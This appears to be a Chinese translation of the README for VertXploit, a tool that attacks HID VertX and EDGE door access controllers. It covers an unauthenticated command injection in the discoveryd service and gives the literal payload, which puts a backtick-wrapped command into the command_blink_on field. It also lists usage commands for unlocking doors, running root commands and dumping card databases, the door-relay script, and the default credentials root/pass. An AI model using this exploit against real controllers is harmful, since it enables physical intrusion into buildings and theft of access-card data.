利用 HID VertX 和 EDGE 门禁控制系统
VertXploit 是一款可用于利用 HID VertX 和 EDGE 门禁控制系统的工具。
discoveryd 服务中存在一个漏洞,该服务在执行系统调用前未能对用户数据进行过滤。这允许在无需身份验证的情况下,在 HID VertX 和 EDGE 门禁控制系统上执行任意代码。有关更多信息,请参阅命令注入部分。
VertXploit 可以解锁或锁定连接到门禁控制系统的门,下载包含所有已配置/缓存门禁卡信息的数据库,并且如果 VertX 系统存在漏洞,还可以以 root 身份执行任意命令。
如果 VertX 控制器的固件最近已更新,vertXploit 将尝试通过 Web 控制台使用默认或用户提供的用户名和密码来解锁或锁定门。
运行 pip install -r requirements.txt 以安装所需的 Python 模块。
运行 ./vertXploit.py -h 显示帮助菜单,或运行 ./vertXploit.py ACTION -h 显示特定操作的帮助。
仅使用 discover 操作参数运行 vertXploit,即可发现本地广播网络上的所有 HID 门禁控制系统。如果通过可选的 --ip IP 参数提供了 IP 地址,vertXploit 将使用 python-nmap 扫描该 /24 网段中开放了 4050 端口的主机。随后 VertXploit 会向识别出的 IP 地址发送一个发现 UDP 数据包,以判断该系统是否为 HID 门禁控制面板。
示例:
./vertXploit.py discover
./vertXploit.py discover --ip 10.1.10.5
一旦发现控制器,使用 fingerprint 操作参数并指定门禁控制器的 IP 地址运行 vertXploit,即可返回有关该门禁控制面板的详细信息。
示例:
./vertXploit.py fingerprint 10.1.10.5
为了解锁或锁定连接到门禁控制面板的门,使用 unlock 或 lock 操作参数并指定控制器 IP 地址运行 vertXploit。如果控制器不易受命令注入漏洞影响,vertXploit 将尝试通过 Web 控制台解锁或锁定门。此方法使用默认用户名 'root' 和默认密码 'pass',或者您可以通过 --username USERNAME 和 --password PASSWORD 参数提供自己的凭据。
示例:
./vertXploit.py unlock 10.1.10.5
./vertXploit.py unlock 10.1.10.5 --username test --password test
通过使用 raw 操作参数并指定控制器的 IP 地址,可以在门禁控制系统上执行任意 Linux 命令。如果该命令未安装在控制器上,则可能执行失败(Python、Perl、Ruby 等)。作为一个简单的概念验证,原生的 Linux 'ping' 命令似乎在所有测试过的 VertX 和 EDGE 型号上都能正常工作。
示例:
./vertXploit.py raw 10.1.10.5 'ping -c 5 10.1.10.39'
要下载控制器的卡片数据库,请使用 download 操作参数并指定控制器的 IP 地址运行 vertXploit。控制器 必须 存在命令注入漏洞,并且您 必须 能够访问控制器的 Web 界面才能下载这两个卡片数据库。Web 身份验证使用默认用户名 'root' 和默认密码 'pass',或者您可以通过 --username USERNAME 和 --password PASSWORD 参数提供自己的凭据。
示例:
./vertXploit.py download 10.1.10.5
./vertXploit.py download 10.1.10.5 --username test --password test
从控制器下载 'IdentDB' 和 'AccessDB' 数据库后,使用 dump 操作参数来导出数据库的内容。您还可以通过 --path PATH 参数指定数据库的本地文件路径。
示例:
./vertXploit.py dump
./vertXploit.py dump --path /root/VertX/DBs/
通常,多个 VertX 或 EDGE 门禁控制器会安装并放置在一起。可以向特定控制器发送诊断命令 command_blink_on,该命令会使面板的物理 "Comm" LED 指示灯闪烁,以便进行视觉识别。此命令通常以 LED 应闪烁的次数结尾,在以下示例中为 30 次。
command_blink_on;044;00:11:22:33:44:55;30;
通过将闪烁次数替换为用反引号括起来的 Linux 命令,该命令将以 root 身份在门禁控制器上执行。
command_blink_on;044;00:11:22:33:44:55;`ping -c 5 10.1.10.39`;
为了远程解锁和锁定连接到门禁控制系统的门,命令会被回显到 /tmp/a。这样做是因为发送到控制器的命令长度限制为 41 个字符(不包括两个反引号)。注意:此处使用 echo 而不是 printf,因为一些较旧的 VertX 控制器运行的是 BusyBox < 1.0.1,该版本不包含 printf。
通过运行 tr -d '\n' < /tmp/a > /tmp/b 来移除回显到文件中的命令换行符,并通过运行 tr '!' '\n' < /tmp/b > /tmp/a 来插入有意的换行符。
然后执行脚本 /tmp/a,并删除这两个文件。以下显示了向 VertX 控制器发送解锁和锁定命令时回显到 /tmp/a 中的命令内容。
# 将 QUERY_STRING 设置为开门值
export QUERY_STRING="?ID=0&BoardType=VXXX&Description=Strike&Relay=1&Action=1"
# 运行 'diagnostics_execute.cgi' 脚本
/mnt/apps/web/cgi-bin/diagnostics_execute.cgi
# 移除可执行权限以防止门被锁定
chmod -x /mnt/apps/web/cgi-bin/diagnostics_execute.cgi
# 启用可执行权限
chmod +x /mnt/apps/web/cgi-bin/diagnostics_execute.cgi
# 将 QUERY_STRING 设置为关门值
export QUERY_STRING="?ID=0&BoardType=VXXX&Description=Strike&Relay=1&Action=0"
# 运行 'diagnostics_execute.cgi' 脚本
/mnt/apps/web/cgi-bin/diagnostics_execute.cgi